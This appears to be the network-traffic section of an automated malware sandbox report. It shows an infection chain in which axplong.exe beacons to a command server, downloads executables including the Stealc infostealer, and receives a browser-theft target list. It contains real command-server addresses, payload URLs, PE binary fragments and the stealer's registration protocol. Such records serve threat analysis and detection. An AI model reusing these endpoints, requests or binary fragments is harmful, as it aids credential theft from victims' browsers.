Sep 27, 2024 16:18:11.033425093 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000004001&unit=246122658369
Sep 27, 2024 16:18:11.732356071 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49609	185.215.113.26	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:11.742079973 CEST	50	OUT	GET /Nework.exe HTTP/1.1 Host: 185.215.113.26
Sep 27, 2024 16:18:12.524889946 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:12 GMT Content-Type: application/x-msdos-program Content-Length: 425984 Connection: keep-alive Last-Modified: Sat, 24 Aug 2024 17:17:20 GMT ETag: "68000-620711078a800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a0 15 ca 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 45 d7 01 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELfE@@D<L8@.text `.rdata8@@.data\|f 4@.rsrc0@@.reloc<LN2@B
Sep 27, 2024 16:18:12.524964094 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 60 c0 44 00 e8 a5 c4 01 00 59 c3 cc cc cc cc 68 00 c0 Data Ascii: h`DYhDYj h`E<,FnhDtYj hE$2Fnh DTYjhE2FnhD4Yj hE\-FnhDYjhE1Fonh@
Sep 27, 2024 16:18:12.525000095 CEST	1236	IN	Data Raw: 00 e8 14 c0 01 00 59 c3 cc cc cc 6a 04 68 6c 85 45 00 b9 b4 2f 46 00 e8 6f 6a 01 00 68 40 ce 44 00 e8 f4 bf 01 00 59 c3 cc cc cc 6a 04 68 74 85 45 00 b9 f0 34 46 00 e8 4f 6a 01 00 68 a0 ce 44 00 e8 d4 bf 01 00 59 c3 cc cc cc 6a 04 68 7c 85 45 00 Data Ascii: YjhlE/Fojh@DYjhtE4FOjhDYjh\|E41F/jhDYjhE5Fjh`DYjhE2FihDtYjhEFih DTYjhEFihD4YjhE
Sep 27, 2024 16:18:12.525034904 CEST	1236	IN	Data Raw: 36 46 00 e8 af 65 01 00 68 80 dc 44 00 e8 34 bb 01 00 59 c3 cc cc cc 6a 14 68 50 87 45 00 b9 7c 34 46 00 e8 8f 65 01 00 68 e0 dc 44 00 e8 14 bb 01 00 59 c3 cc cc cc 6a 10 68 68 87 45 00 b9 2c 2a 46 00 e8 6f 65 01 00 68 40 dd 44 00 e8 f4 ba 01 00 Data Ascii: 6FehD4YjhPE\|4FehDYjhhE,*Foeh@DYjh\|ED-FOehDYjhE</F/ehDYjhE,Feh`DYjhE.FdhDtYjhED0Fdh DTY
Sep 27, 2024 16:18:12.525068045 CEST	1236	IN	Data Raw: cc cc cc 6a 04 68 bc 8b 45 00 b9 ac 2b 46 00 e8 cf 60 01 00 68 20 eb 44 00 e8 54 b6 01 00 59 c3 cc cc cc 6a 10 68 c4 8b 45 00 b9 94 2b 46 00 e8 af 60 01 00 68 80 eb 44 00 e8 34 b6 01 00 59 c3 cc cc cc 6a 04 68 d8 8b 45 00 b9 3c 32 46 00 e8 8f 60 Data Ascii: jhE+F`h DTYjhE+F`hD4YjhE<2F`hDYjhET2Fo`h@DYj hEt3FO`hDYjh E-F/`hDYjh0E1F`h`DYjh@E,F_
Sep 27, 2024 16:18:12.525101900 CEST	1236	IN	Data Raw: 03 00 83 c4 08 8b c6 5e 5d c2 04 00 cc cc cc 8d 41 04 c7 01 94 05 45 00 50 e8 40 14 03 00 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 49 04 b8 3c 81 45 00 85 c9 0f 45 c1 c3 cc cc 55 8b ec 56 8b f1 8d 46 04 c7 06 94 05 45 00 50 e8 0a 14 Data Ascii: ^]AEP@YI<EEUVFEPEtjVN^]WfAAPEtEQYUVuV^]UVuWVfV^]Uj
Sep 27, 2024 16:18:12.525135994 CEST	776	IN	Data Raw: c7 45 d8 00 00 00 00 8d 47 04 c7 45 dc 0f 00 00 00 50 8d 45 e4 c6 45 c8 00 50 89 4d e4 c6 45 e8 01 e8 01 0f 03 00 8b 55 ac 83 c4 08 c7 07 80 06 45 00 83 fa 10 72 28 8b 4d 98 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 Data Ascii: EGEPEEPMEUEr(MBrI#+wCRQKOKEOMdY_^M3][MBHBUVFEPEtjV^]UjhxDdPV
Sep 27, 2024 16:18:12.525234938 CEST	1236	IN	Data Raw: cc cc cc 55 8b ec 83 ec 0c a1 14 20 46 00 33 c5 89 45 fc 56 8b f1 c7 45 f4 90 81 45 00 8d 4e 04 c6 45 f8 01 51 8d 45 f4 0f 57 c0 c7 06 94 05 45 00 50 66 0f d6 01 e8 e4 0b 03 00 8b 4d fc 83 c4 08 c7 06 f0 17 45 00 8b c6 33 cd 5e e8 13 a3 01 00 8b Data Ascii: U F3EVEENEQEWEPfME3^]UjhDdP F3EVPEduuEvFVEjV!MdY^M3]UVjuMEWVu
Sep 27, 2024 16:18:12.525268078 CEST	1236	IN	Data Raw: 75 07 8b 07 8b cf ff 50 04 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 04 00 50 e8 e6 90 01 00 50 e8 e0 90 01 00 50 e8 da 90 01 00 50 e8 d4 90 01 00 50 e8 ce 90 01 00 cc cc cc cc 55 8b ec 6a ff 68 60 88 44 00 64 a1 00 00 00 00 50 83 ec Data Ascii: uPMdY_^[]PPPPPUjh`DdP F3ESVWPEd}sVEu:EC<tQ3H98tu uK<JxuS@jP?_GHuPE_VE
Sep 27, 2024 16:18:12.525300980 CEST	1236	IN	Data Raw: 04 00 00 00 00 83 c4 08 c7 46 08 00 00 00 00 c7 46 0c 00 00 00 00 5e c3 e8 18 36 03 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 38 89 44 00 64 a1 00 00 00 00 50 56 a1 14 20 46 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 89 Data Ascii: FF^6Ujh8DdPV F3PEduuEN$t<PN$t;PRF$j(VMdY^]V1t'N$t;PRF$j(VY^VN$t;PR
Sep 27, 2024 16:18:12.530062914 CEST	1236	IN	Data Raw: 10 83 c4 08 c7 46 44 00 00 00 00 c7 46 4c 00 00 00 00 85 ff 74 07 f0 ff 47 04 8b 7d 10 8b 45 0c 8d 5e 50 89 45 fc 8b 45 14 53 89 45 f8 e8 0c 82 01 00 8d 43 28 6a 02 50 e8 45 8b 01 00 83 c4 0c c7 43 58 00 00 00 00 c7 43 5c 00 00 00 00 85 ff 74 04 Data Ascii: FDFLtG}E^PEESEC(jPECXC\tGECXE{\C`CdtGuGuPEfFHt@}tGu_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49611	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:14.923784971 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Sep 27, 2024 16:18:15.676048040 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Sep 27, 2024 16:18:15.677598953 CEST	63	OUT	GET /inc/stealc_default2.exe HTTP/1.1 Host: 185.215.113.16
Sep 27, 2024 16:18:15.895040989 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:15 GMT Content-Type: application/octet-stream Content-Length: 192000 Last-Modified: Sat, 24 Aug 2024 14:58:01 GMT Connection: keep-alive ETag: "66c9f4f9-2ee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 98 e0 c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 90 64 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 24 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$bu^uku_{vfz{fuZuhRichPELfB"d@0$@<#$.textJ .rdata@@.data+!@.reloc*D#F@B
Sep 27, 2024 16:18:15.895088911 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 79 b9 41 00 70 c8 41 00 d9 c8 41 00 00 00 00 Data Ascii: yApAAUQEE}tMUUEEE]UEExMUMMM]UQSjh
Sep 27, 2024 16:18:15.895143986 CEST	1236	IN	Data Raw: 30 00 00 68 c0 41 c8 17 6a 00 ff 15 24 d0 62 00 89 45 fc 50 83 f8 11 74 05 8b c0 fc 85 c9 0b c0 f8 58 83 7d fc 00 74 2c 90 8a c0 68 c0 9e e6 05 8b 45 fc 50 e8 4e 73 01 00 53 8a c9 8a c9 fc 5b 68 00 80 00 00 68 c0 41 c8 17 8b 4d fc 51 ff 15 64 cf Data Ascii: 0hAj$bEPtX}t,hEPNsS[hhAMQdb[]UQEjj@h0hjbPbE}ujbR]U(EPtbMM}sjb]U@bPa
Sep 27, 2024 16:18:15.895180941 CEST	1236	IN	Data Raw: 30 e8 4d 8c 01 00 8b 4d fc e8 e5 00 00 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 0d 01 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 bb 8b 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 a9 8b 01 00 8b 45 08 83 c0 48 50 8b Data Ascii: 0MM]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|E]
Sep 27, 2024 16:18:15.895215988 CEST	1236	IN	Data Raw: c8 e8 29 89 01 00 8b c8 e8 92 88 01 00 8b c8 e8 1b 89 01 00 8b c8 e8 14 89 01 00 8b c8 e8 0d 89 01 00 8b c8 e8 76 88 01 00 50 8d 8d 94 fe ff ff e8 ea 87 01 00 8d 8d 6c fd ff ff e8 3f 87 01 00 8d 8d 78 fd ff ff e8 34 87 01 00 8d 8d 84 fd ff ff e8 Data Ascii: )vPl?x4)R0PhTUB<QURHPhTBTQUR`PZLEP)
Sep 27, 2024 16:18:15.895272017 CEST	1236	IN	Data Raw: 45 fc 6b c0 2c 03 85 90 00 00 00 83 ec 0c 8b cc 50 e8 35 82 01 00 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8b 44 0a 0c 50 8b 4d fc 6b c9 2c 8b 95 90 00 00 00 8d 44 0a 10 83 ec 0c 8b cc 50 e8 09 82 01 00 e8 a4 f7 ff ff 81 c4 b4 00 00 00 e9 58 ff ff ff Data Ascii: Ek,P5Mk,DPMk,DPXURM]UEbbUbPbAbBb]U}t#E8tMQ;U\|EEH
Sep 27, 2024 16:18:15.895306110 CEST	1236	IN	Data Raw: 83 c4 0c a3 3c cb 62 00 6a 0b 68 74 1c 42 00 68 80 1c 42 00 e8 fe 21 00 00 83 c4 0c a3 a0 cd 62 00 6a 0d 68 8c 1c 42 00 68 9c 1c 42 00 e8 e5 21 00 00 83 c4 0c a3 48 cd 62 00 6a 0c 68 ac 1c 42 00 68 bc 1c 42 00 e8 cc 21 00 00 83 c4 0c a3 bc cb 62 Data Ascii: <bjhtBhB!bjhBhB!HbjhBhB!bjhBhB!bjhBhB!bjhBhB!bjh$Bh4Bh!bjhDBhXBO!$bjhlBhxB6!bjhBh
Sep 27, 2024 16:18:15.895356894 CEST	552	IN	Data Raw: 00 6a 0a 68 0c 21 42 00 68 18 21 42 00 e8 31 1d 00 00 83 c4 0c a3 d8 c9 62 00 6a 18 68 24 21 42 00 68 40 21 42 00 e8 18 1d 00 00 83 c4 0c a3 90 cb 62 00 6a 0e 68 5c 21 42 00 68 6c 21 42 00 e8 ff 1c 00 00 83 c4 0c a3 4c c9 62 00 6a 0d 68 7c 21 42 Data Ascii: jh!Bh!B1bjh$!Bh@!Bbjh\!Bhl!BLbjh\|!Bh!Bbjh!Bh!Bbjh!Bh!B$bjh!Bh!Bbjh"Bh"Bbjh4"BhL"Bibjhd"Bh\|"BP
Sep 27, 2024 16:18:15.895410061 CEST	1236	IN	Data Raw: 0e 68 1c 24 42 00 68 2c 24 42 00 e8 0b 1b 00 00 83 c4 0c a3 4c cc 62 00 6a 09 68 3c 24 42 00 68 48 24 42 00 e8 f2 1a 00 00 83 c4 0c a3 e0 cc 62 00 6a 0b 68 54 24 42 00 68 60 24 42 00 e8 d9 1a 00 00 83 c4 0c a3 4c cd 62 00 6a 0e 68 6c 24 42 00 68 Data Ascii: h$Bh,$BLbjh<$BhH$BbjhT$Bh`$BLbjhl$Bh\|$Bhbjh$Bh$B\bjh$Bh$Bbj h$Bh$Bubjh%Bh%B\ bjh,%Bh8%BChbjhD%BhX%B*
Sep 27, 2024 16:18:15.895443916 CEST	1236	IN	Data Raw: e8 42 16 00 00 83 c4 0c a3 10 cd 62 00 6a 05 68 1c 2b 42 00 68 24 2b 42 00 e8 29 16 00 00 83 c4 0c a3 30 cd 62 00 6a 0b 68 2c 2b 42 00 68 38 2b 42 00 e8 10 16 00 00 83 c4 0c a3 48 cb 62 00 6a 09 68 44 2b 42 00 68 50 2b 42 00 e8 f7 15 00 00 83 c4 Data Ascii: Bbjh+Bh$+B)0bjh,+Bh8+BHbjhD+BhP+Bbjh\+Bhp+B`bjh+Bh+Bbjh+Bh+B,bjh+Bh+Bbjh+Bh+Bzxbjh,Bh,Babjh,,
Sep 27, 2024 16:18:15.895482063 CEST	1236	IN	Data Raw: 62 00 6a 0f 68 ac 31 42 00 68 bc 31 42 00 e8 60 11 00 00 83 c4 0c a3 10 cb 62 00 6a 0f 68 cc 31 42 00 68 dc 31 42 00 e8 47 11 00 00 83 c4 0c a3 a4 cc 62 00 6a 3d 68 ec 31 42 00 68 2c 32 42 00 e8 2e 11 00 00 83 c4 0c a3 34 c9 62 00 6a 09 68 6c 32 Data Ascii: bjh1Bh1B`bjh1Bh1BGbj=h1Bh,2B.4bjhl2Bhx2B\|bjh2Bh2B$bjh2Bh2B\bjh2Bh2Bbjh2Bh2Bbjh2Bh2BPbjh2Bh2B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49613	185.215.113.17	80	3488	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:16.966675997 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.17 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:18:17.606864929 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:17.609525919 CEST	416	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJ Host: 185.215.113.17 Content-Length: 215 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="build"default2------IDAAFBGDBKJJJKFIIIJJ--
Sep 27, 2024 16:18:19.065521002 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 4d 31 4d 47 4d 77 59 6a 63 78 5a 57 4e 68 59 6a 56 68 59 6a 49 33 4e 47 59 31 5a 6d 4a 68 59 7a 68 6b 5a 6d 55 32 4e 47 51 34 59 6a 45 78 4d 6a 55 79 4f 44 45 33 59 57 45 79 59 7a 59 79 59 6a 68 6b 59 54 51 35 5a 44 63 31 4d 57 59 7a 4d 6a 59 34 4d 6d 56 6b 59 57 46 6c 4d 6d 4e 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzM1MGMwYjcxZWNhYjVhYjI3NGY1ZmJhYzhkZmU2NGQ4YjExMjUyODE3YWEyYzYyYjhkYTQ5ZDc1MWYzMjY4MmVkYWFlMmNjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 27, 2024 16:18:19.067692041 CEST	469	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFI Host: 185.215.113.17 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 2d 2d 0d 0a Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="message"browsers------KKECFIEBGCAKJKECGCFI--
Sep 27, 2024 16:18:19.291342974 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 27, 2024 16:18:19.291378975 CEST	224	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEu
Sep 27, 2024 16:18:19.291408062 CEST	288	IN	Data Raw: 5a 58 68 6c 66 45 31 76 65 6d 6c 73 62 47 45 67 52 6d 6c 79 5a 57 5a 76 65 48 78 63 54 57 39 36 61 57 78 73 59 56 78 47 61 58 4a 6c 5a 6d 39 34 58 46 42 79 62 32 5a 70 62 47 56 7a 66 47 5a 70 63 6d 56 6d 62 33 68 38 4d 48 78 51 59 57 78 6c 49 45 Data Ascii: ZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25cUHJvZmlsZXN8ZmlyZWZveHwwfE9wZXJhIENyeXB0byBTdGFibGV8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfG9wZXJhLmV4ZXxUaHVuZGVyYmlyZHx
